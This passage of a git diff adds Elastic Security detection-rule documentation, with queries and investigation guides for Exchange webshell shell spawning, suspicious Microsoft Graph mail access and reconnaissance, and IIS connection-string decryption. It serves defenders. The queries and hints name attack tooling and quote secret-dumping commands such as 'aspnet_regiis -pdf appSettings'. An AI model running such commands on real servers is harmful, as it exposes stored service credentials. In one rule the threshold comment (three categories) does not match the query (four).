and related alerts on `host.id` or `user.id`, especially `process.parent.executable`, `process.parent.args`, `process.command_line`, and `process.hash.sha256` for repeated w3wp.exe descendants, credential dumping, account changes, archiving, cleanup, or side-loading chains. + - !{investigate{"description":"","label":"Process events from the same Exchange worker","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the host shows credential dumping, account changes, archive creation, cleanup, lateral movement, or repeated Exchange worker children; keep local only when surrounding process evidence and related alerts stay confined to the same recognized maintenance window. +- Escalate on unexplained server-side execution, suspicious command intent, payload staging, suspicious destinations, or broader host compromise; close only when all available evidence aligns with one recognized Exchange workflow on this host; preserve artifacts and escalate when evidence is mixed or visibility incomplete. + + +*False positive analysis* + + +- Recognized Exchange maintenance or controlled validation is the bounded benign path. Confirm only when `process.parent.args`, child `process.command_line`, `process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`, `user.id`, and `host.id` align with one task, and any `file.path`, `dns.question.name`, or `destination.ip` evidence shows no payload staging or external callback. Use change records as corroboration; otherwise require recurring prior alerts with the same parent arguments, command pattern, child identity, user, host, and no contradictory artifacts or destinations. +- Build exceptions only from the minimum confirmed pattern: `process.parent.args`, child `process.executable` or `process.hash.sha256`, `process.code_signature.subject_name`, stable `process.command_line` fragment, `user.id`, `host.id`, and any bounded artifact or destination pattern distinguishing the benign task. Avoid exceptions on "w3wp.exe", `process.name`, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact evidence that validated the workflow: `process.parent.args`, child `process.executable`, `process.command_line`, `user.id`, `host.id`, and any bounded artifact or destination pattern. Create an exception only after the same pattern is stable across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert, process tree, child `process.entity_id` or `process.pid`, `process.command_line`, parent `process.parent.entity_id`, `process.parent.args`, child hash and signer, `user.id`, `host.id`, and any staged artifacts, destinations, or IIS/Exchange log snippets before containment. Apply reversible containment first: block confirmed malicious destinations, restrict external access to the implicated Exchange service, or increase monitoring. Isolate only when active compromise evidence and server criticality justify disruption. +- If confirmed malicious, contain the Exchange server or exposed service path based on the process, artifact, destination, and same-host evidence already preserved. Record process and artifact identifiers before terminating the child, then block confirmed malicious domains, IPs, and hashes. +- Eradicate only the webshells, scripts, archives, scheduled tasks, dropped utilities, and configuration changes identified during triage. Restore modified Exchange or IIS content from known-good state, patch the Exchange server, review the virtual directories and app pools implicated by `process.parent.args`, and rotate Exchange, application, or service credentials if credential access, configuration theft, or mailbox export was involved. +- Retain the related process, file, network, IIS, and Exchange logs that supported the decision. Document any adjacent variant or telemetry gap, such as missing endpoint file/network events or unavailable IIS request logs, for the detection engineering team. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "w3wp.exe" and process.parent.args : "MSExchange*AppPool" and + ( + (process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-graph-email-access-by-unusual-user-and-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-graph-email-access-by-unusual-user-and-client.asciidoc new file mode 100644 index 0000000000..c2dfa632e8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-graph-email-access-by-unusual-user-and-client.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-microsoft-graph-email-access-by-unusual-user-and-client]] +=== Microsoft Graph Email Access by Unusual User and Client + +Identifies access to email resources via Microsoft Graph API using an first-party application on behalf of a user principal. This behavior may indicate an adversary using a phished OAuth refresh token or a Primary Refresh Token (PRT) to access email resources. The pattern includes requests to Microsoft Graph API endpoints related to email, such as /me/mailFolders/inbox/messages or /users/{user_id}/messages, using a public client application ID and a user principal object ID. This is a New Terms rule that only signals if the application ID, user principal object ID, and source ASN have not been seen doing this activity historically. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.graphactivitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ +* https://pushsecurity.com/blog/consentfix + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Data Source: Azure +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Entra ID +* Platform: Azure +* Domain: Identity + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Graph Email Access by Unusual User and Client* + + +This rule detects instances where a previously unseen or rare Microsoft Graph application client ID accesses email-related API paths, such as `/v1.0/me/messages`, `/v1.0/me/mailFolders/inbox/messages`, or `/v1.0/users/{id}/messages`. The access is performed with a delegated user token issued to a first-party public client (public client authentication, no client secret), which is the token shape produced by phished OAuth refresh tokens or Primary Refresh Tokens (PRTs). This activity may indicate unauthorized use of a newly consented or compromised application to read or exfiltrate mail content. This is a New Terms rule that only signals if the application ID (`azure.graphactivitylogs.properties.app_id`), user principal object ID (`azure.graphactivitylogs.properties.user_principal_object_id`), and source ASN (`azure.graphactivitylogs.properties.source_asn`) have not been seen doing this activity historically. + + +*Possible Investigation Steps:* + + +- `azure.graphactivitylogs.properties.app_id`: Investigate the application ID involved. Is it known and sanctioned in your tenant? Pivot to Azure Portal → Enterprise Applications → Search by App ID to determine app details, publisher, and consent status. +- `azure.graphactivitylogs.properties.scopes`: When present, review the delegated scopes on the token. Email-related scopes such as `Mail.ReadWrite` and `Mail.Send` are especially sensitive and confirm the token can interact with mail content. +- `url.path`: Determine exactly which mail-related APIs were accessed (e.g., reading inbox, sending messages, enumerating folders). +- `user.id`: Identify the user whose credentials were used. Determine if the user recently consented to a new app, clicked a phishing link, or reported suspicious activity. +- `user_agent.original`: Check for suspicious automation tools (e.g., `python-requests`, `curl`, non-browser agents), which may suggest scripted access. +- `source.ip` and `client.geo`: Investigate the source IP and geography. Look for unusual access from unexpected countries, VPS providers, or anonymizing services. +- `http.request.method`: Determine intent based on HTTP method — `GET` (reading), `POST` (sending), `PATCH`/`DELETE` (modifying/removing messages). +- `token_issued_at` and `@timestamp`: Determine how long the token has been active and whether access is ongoing or recent. +- `azure.graphactivitylogs.properties.c_sid`: Use the session correlation ID to identify other related activity in the same session. This may help identify if the app is accessing multiple users' mailboxes or if the same user is accessing multiple apps. +- Correlate with Microsoft Entra ID (`azure.auditlogs` and `azure.signinlogs`) to determine whether: + - The app was recently granted admin or user consent + - Risky sign-ins occurred just prior to or after mail access + - The same IP or app ID appears across multiple users + + +*False Positive Analysis* + + +- New legitimate apps may appear after a user consents via OAuth. Developers, third-party tools, or IT-supplied utilities may access mail APIs if users consent. +- Users leveraging Microsoft development environments (e.g., Visual Studio Code) may trigger this behavior with delegated `.default` permissions. +- Admin-approved apps deployed via conditional access may trigger similar access logs if not previously seen in detection baselines. + + +*Response and Remediation* + + +- If access is unauthorized or unexpected: + - Revoke the app's consent in Azure AD via the Enterprise Applications blade. + - Revoke user refresh tokens via Microsoft Entra or PowerShell. + - Investigate the user's session and alert them to possible phishing or OAuth consent abuse. +- Review and restrict risky OAuth permissions in Conditional Access and App Governance policies. +- Add known, trusted app IDs to a detection allowlist to reduce noise in the future. +- Continue monitoring the app ID for additional usage across the tenant or from suspicious IPs. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.graphactivitylogs and + azure.graphactivitylogs.result_signature:200 and + azure.graphactivitylogs.properties.c_idtyp:user and + azure.graphactivitylogs.properties.client_auth_method:0 and + http.request.method:(DELETE or GET or PATCH or POST or PUT) and + url.path:((/beta/me/* or /beta/users/* or /v1.0/me/* or /v1.0/users/*) and (*inbox* or *mail* or *messages*) and not *mailboxSettings*) and + azure.graphactivitylogs.properties.app_id:* and + azure.graphactivitylogs.properties.user_principal_object_id:* and + source.as.number:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-graph-multi-category-reconnaissance-burst.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-graph-multi-category-reconnaissance-burst.asciidoc new file mode 100644 index 0000000000..d3a3b2cf72 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-graph-multi-category-reconnaissance-burst.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-34-microsoft-graph-multi-category-reconnaissance-burst]] +=== Microsoft Graph Multi-Category Reconnaissance Burst + +Detects Microsoft Graph activity from delegated user tokens (public client, client_auth_method 0) where a single user session and source IP rapidly touches multiple high-value Graph paths indicative of reconnaissance. The query classifies requests into categories such as role discovery, cross-tenant relationship queries, mailbox paths, contact harvesting, and organization or licensing metadata. When three or more distinct categories appear within a short burst window, it suggests a broad enumeration playbook rather than normal application traffic. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Domain: API +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Graph Multi-Category Reconnaissance Burst* + + +This rule uses an aggregation-based ES|QL query. Alert documents contain summarized fields; pivot to raw Graph activity +logs using user principal object ID, session ID (c_sid), source IP, tenant ID, and timestamps from the alert. + + +*Possible investigation steps* + + +- Review Esql.categories and Esql.sample_paths to see which Graph endpoints were touched and whether they align with the app purpose. +- Validate azure.graphactivitylogs.properties.app_id and user_agent.original against approved applications. +- Correlate with Entra ID sign-in logs for the same user and session for MFA, conditional access, and token issuance context. +- Check whether failed_calls indicates probing or permission errors versus successful enumeration. + + +*Response and remediation* + + +- If malicious, revoke refresh tokens for the user, disable or restrict the application consent, and reset credentials per policy. +- Add conditional access or block rules for high-risk Graph patterns where appropriate. + + +==== Setup + + + +*Microsoft Graph Activity Logs* + +Requires Microsoft Graph Activity Logs ingested into `logs-azure.graphactivitylogs-*` (for example via Azure Event Hub). + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.graphactivitylogs-* metadata _id, _version, _index + +// Graph calls via delegated user tokens (any status, any method) +| where event.dataset == "azure.graphactivitylogs" + and azure.graphactivitylogs.properties.c_idtyp == "user" + and azure.graphactivitylogs.properties.client_auth_method == 0 + +// high-value recon endpoints by url.path +| eval Esql.is_role_enum = case( + url.path like "*roleManagement/directory*" + or url.path like "*memberOf/microsoft.graph.directoryRole*" + or url.path like "*transitiveRoleAssignments*", + true, + false + ) +| eval Esql.is_cross_tenant_enum = case( + url.path like "*tenantRelationships*" + or url.path like "*getResourceTenants*", + true, + false + ) +| eval Esql.is_mailbox_recon = case( + url.path like "*mailboxSettings*" + or url.path like "*mailFolders*" + or url.path like "*messages*" + or url.path like "*inbox*", + true, + false + ) +| eval Esql.is_contact_harvest = case( + url.path like "*contacts*" + or url.path like "*contactFolders*", + true, + false + ) +| eval Esql.is_org_recon = case( + url.path like "*subscribedSkus*" + or url.path like "*appRoleAssign*" + or ( + url.path like "*/organization*" + and not url.path like "*branding*" + and not url.path like "*localizations*" + ), + true, + false + ) + +// Combine: is this request hitting a high-value endpoint? +| eval Esql.is_high_value = case( + Esql.is_role_enum or Esql.is_cross_tenant_enum or Esql.is_mailbox_recon + or Esql.is_contact_harvest or Esql.is_org_recon, + true, + false + ) +| where Esql.is_high_value == true + +// Classify each hit into a recon category +| eval Esql.recon_category = case( + Esql.is_role_enum, "role_discovery", + Esql.is_cross_tenant_enum, "cross_tenant_recon", + Esql.is_mailbox_recon, "mailbox_recon", + Esql.is_contact_harvest, "contact_harvesting", + Esql.is_org_recon, "org_and_licensing_recon", + "other" + ) + +// Flag failed requests (recon that errored is still recon) +| eval Esql.is_failed_request = case( + http.response.status_code >= 400, true, false + ) + +// Aggregate per user + session + source IP +| stats + Esql.total_high_value_calls = count(*), + Esql.distinct_categories = count_distinct(Esql.recon_category), + Esql.distinct_paths = count_distinct(url.path), + Esql.failed_calls = sum(case(Esql.is_failed_request, 1, 0)), + Esql.categories = values(Esql.recon_category), + Esql.sample_paths = values(url.path), + Esql.http_methods = values(http.request.method), + Esql.status_codes = values(http.response.status_code), + Esql.first_seen = min(@timestamp), + Esql.last_seen = max(@timestamp), + Esql.user_agents = values(user_agent.original), + Esql.app_ids = values(azure.graphactivitylogs.properties.app_id) + by + azure.graphactivitylogs.properties.user_principal_object_id, + source.ip, + source.`as`.organization.name, + source.`as`.number, + azure.graphactivitylogs.properties.c_sid, + azure.tenant_id + +// Threshold: 3+ distinct recon categories +| where Esql.distinct_categories >= 4 and Esql.total_high_value_calls >= 20 + +// Burst duration in seconds +| eval Esql.burst_duration_seconds = date_diff("seconds", Esql.first_seen, Esql.last_seen) +| where Esql.burst_duration_seconds <= 60 + +| keep + azure.graphactivitylogs.properties.user_principal_object_id, + azure.graphactivitylogs.properties.c_sid, + azure.tenant_id, + source.ip, + source.`as`.organization.name, + source.`as`.number, + Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc new file mode 100644 index 0000000000..d3c7b64c1c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-microsoft-graph-request-user-impersonation-by-unusual-client]] +=== Microsoft Graph Request User Impersonation by Unusual Client + +This New Terms rule focuses on the first occurrence of a client application ID (azure.graphactivitylogs.properties.app_id) making a request to Microsoft Graph API for a specific tenant ID (azure.tenant_id) and user principal object ID (azure.graphactivitylogs.properties.user_principal_object_id). This rule may helps identify unauthorized access or actions performed by compromised accounts. Advesaries may succesfully compromise a user's credentials and use the Microsoft Graph API to access resources or perform actions on behalf of the user. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.graphactivitylogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://pushsecurity.com/blog/consentfix + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Entra ID +* Platform: Azure +* Domain: Identity + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Graph Request User Impersonation by Unusual Client* + + +This rule detects the first observed occurrence of a Microsoft Graph API request by a specific client application ID (`azure.graphactivitylogs.properties.app_id`) in combination with a user principal object ID (`azure.graphactivitylogs.properties.user_principal_object_id`) and tenant ID (`azure.tenant_id`) within specific number of days. This may indicate unauthorized access following a successful phishing attempt, token theft, or abuse of OAuth workflows. + +Adversaries frequently exploit legitimate Microsoft or third-party application IDs to avoid raising suspicion during initial access. By using pre-consented or trusted apps to interact with Microsoft Graph, attackers can perform actions on behalf of users without triggering conventional authentication alerts or requiring additional user interaction. + + +*Possible investigation steps* + + +- Review `azure.graphactivitylogs.properties.user_principal_object_id` and correlate with recent sign-in logs for the associated user. +- Determine whether `azure.graphactivitylogs.properties.app_id` is a known and approved application in your environment. +- Investigate the `user_agent.original` field for signs of scripted access (e.g., automation tools or libraries). +- Check the source IP address (`source.ip`) and geolocation data (`source.geo.*`) for unfamiliar origins. +- Inspect `azure.graphactivitylogs.properties.scopes` to understand the level of access being requested by the app. +- Examine any follow-up Graph API activity from the same `app_id` or `user_principal_object_id` for signs of data access or exfiltration. +- Correlate with device or session ID fields (`azure.graphactivitylogs.properties.c_sid`, if present) to detect persistent or repeat activity. + + +*False positive analysis* + + +- First-time use of a legitimate Microsoft or enterprise-approved application. +- Developer or automation workflows initiating new Graph API requests. +- Valid end-user activity following device reconfiguration or new client installation. +- Maintain an allowlist of expected `app_id` values and known developer tools. +- Suppress detections from known good `user_agent.original` strings or approved source IP ranges. +- Use device and identity telemetry to distinguish trusted vs. unknown activity sources. +- Combine with session risk or sign-in anomaly signals where available. + + +*Response and remediation* + + +- Reach out to the user and verify whether they authorized the application access. +- Revoke active OAuth tokens and reset credentials if unauthorized use is confirmed. +- Search for additional Graph API calls made by the same `app_id` or `user_principal_object_id`. +- Investigate whether sensitive resources (mail, files, Teams, contacts) were accessed. +- Apply Conditional Access policies to limit Graph API access by app type, IP, or device state. +- Restrict user consent for third-party apps and enforce admin approval workflows. +- Monitor usage of new or uncommon `app_id` values across your tenant. +- Provide user education on OAuth phishing tactics and reporting suspicious prompts. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.graphactivitylogs" + and event.type: "access" + and azure.graphactivitylogs.properties.app_id: * + and azure.graphactivitylogs.properties.c_idtyp: "user" + and azure.graphactivitylogs.properties.client_auth_method: 0 + and http.response.status_code: 200 + and url.domain: "graph.microsoft.com" + and not url.path: ( + /v1.0/organization + or /v1.0/me/licenseDetails + or /v1.0/me/photo* + or /v1.0/me/photos* + or /beta/me/settings/regionalAndLanguageSettings + or /v1.0/me/drive/special/copilotuploads + or /v1.0/me/informationProtection/sensitivityLabels + or /beta/me/informationProtection/dataLossPreventionPolicies + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-iis-connection-strings-decryption.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-iis-connection-strings-decryption.asciidoc new file mode 100644 index 0000000000..2a8966b560 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-iis-connection-strings-decryption.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-microsoft-iis-connection-strings-decryption]] +=== Microsoft IIS Connection Strings Decryption + +Identifies use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or similar access can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using the aspnet_regiis command. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: + +* https://www.netspi.com/blog/technical-blog/network-pentesting/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/ +* https://symantec-enterprise-blogs.security.com/blog-post/greenbug-espionage-telco-south-asia + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Service: IIS + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft IIS Connection Strings Decryption* + + + +*Possible investigation steps* + + +- Which protected IIS configuration section and application path did the command expose? + - Focus: `process.command_line` and `process.working_directory` for the protected-section decrypt operation ("connectionStrings" with "-pdf" or "-pd") and the target application path. + - Implication: escalate faster when the target is a production web root, shared IIS configuration path, copied temp tree, or folder unrelated to the named IIS site; lower concern at this step only for a staging or development target path. Path context alone never closes the alert. + +- Is the aspnet_regiis instance the expected signed .NET utility in the expected launch context? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.parent.command_line`. + - Implication: escalate when the binary is renamed, unsigned, user-writable, or launched from a shell, script host, IIS worker lineage, or remote-admin chain that does not fit the workflow. Expected Microsoft identity reduces masquerade concern, but never clears the decrypt action by itself. + +- Do the user, parent chain, and session type fit IIS administration on this host? + - Focus: `user.id`, `process.parent.command_line`, and `process.Ext.session_info.logon_type`. + - Hint: If parent lineage remains unclear, expand ancestry before accepting an IIS administration explanation. + - Implication: escalate when an unusual user, web-content lineage, remote-interactive session, service context, or unusual admin context performs the decrypt; lower concern when the same user/host pair and parent workflow recur for IIS administration on this server. + +- Did follow-on process activity expose, stage, or reuse the recovered secrets? + - Focus: child and same-parent process starts, reading `process.executable` and `process.command_line` for shells, PowerShell, archive utilities, SQL clients, config copies, or output commands. !{investigate{"description":"","label":"Child and sibling processes near aspnet_regiis","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.parent.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: use sibling command lines to look for "aspnet_regiis -pdf appSettings", "aspnet_regiis -px", or direct IIS config-copy commands; if `process.entity_id` is absent, use the `host.id` + `process.parent.pid` or `process.pid` fallback branches in a tight alert-time window. + - Implication: escalate when decryption is followed by shell output, copied configs, archive creation, SQL tooling such as sqlcmd/osql/isql, PowerShell database testing, or additional protected-section access. + +- If available, do process-scoped file records corroborate config staging? + - Focus: file activity scoped by `host.id` and `process.entity_id`, or direct children through `process.parent.entity_id`, for config copies, temp staging, and archives. !{investigate{"description":"","label":"File activity for aspnet_regiis and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when available records show copied "web.config", "applicationHost.config", or "machine.config" material, temp staging, or archive output. If `process.entity_id` is absent, use `host.id` + `process.pid` in a tight alert window; missing endpoint file telemetry is unresolved, not benign. + +- If available, do process-scoped network records corroborate SQL access or transfer? + - Focus: network activity scoped by `host.id` and `process.entity_id`, or direct children through `process.parent.entity_id`, for database, proxy, external, or share destinations. !{investigate{"description":"","label":"Network activity for aspnet_regiis and 